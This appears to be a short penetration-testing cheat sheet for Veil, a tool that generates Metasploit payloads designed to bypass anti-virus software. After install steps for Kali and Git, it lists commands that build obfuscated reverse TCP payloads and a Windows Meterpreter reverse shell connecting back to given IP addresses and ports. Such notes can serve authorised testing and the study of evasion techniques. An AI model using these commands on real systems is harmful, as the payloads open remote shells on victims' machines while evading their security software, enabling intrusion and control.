Veil

Veil is a tool for generating metasploit payloads that bypass common anti-virus solutions.

It can be used to generate obfuscated shellcode, see the official veil framework blog for more info.

Install: (Kali)

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

Install: (Git)

sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

Usage:

# List all payloads (–list-payloads) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-payloads

# List all encoders (–list-encoders) for the tool Ordnance (-t Ordnance)
./Veil.py -t Ordnance --list-encoders

# Generate a reverse tcp payload which connects back to the ip 192.168.1.20 on port 1234
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

# List all payloads (–list-payloads) for the tool Evasion (-t Evasion)
./Veil.py -t Evasion --list-payloads

# Generate shellcode using Evasion, payload number 41, reverse_tcp to 192.168.1.4 on port 8676, output file chris
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

Veil creators wrote a nice blog post explaining further ordnance and evasion command line usage.
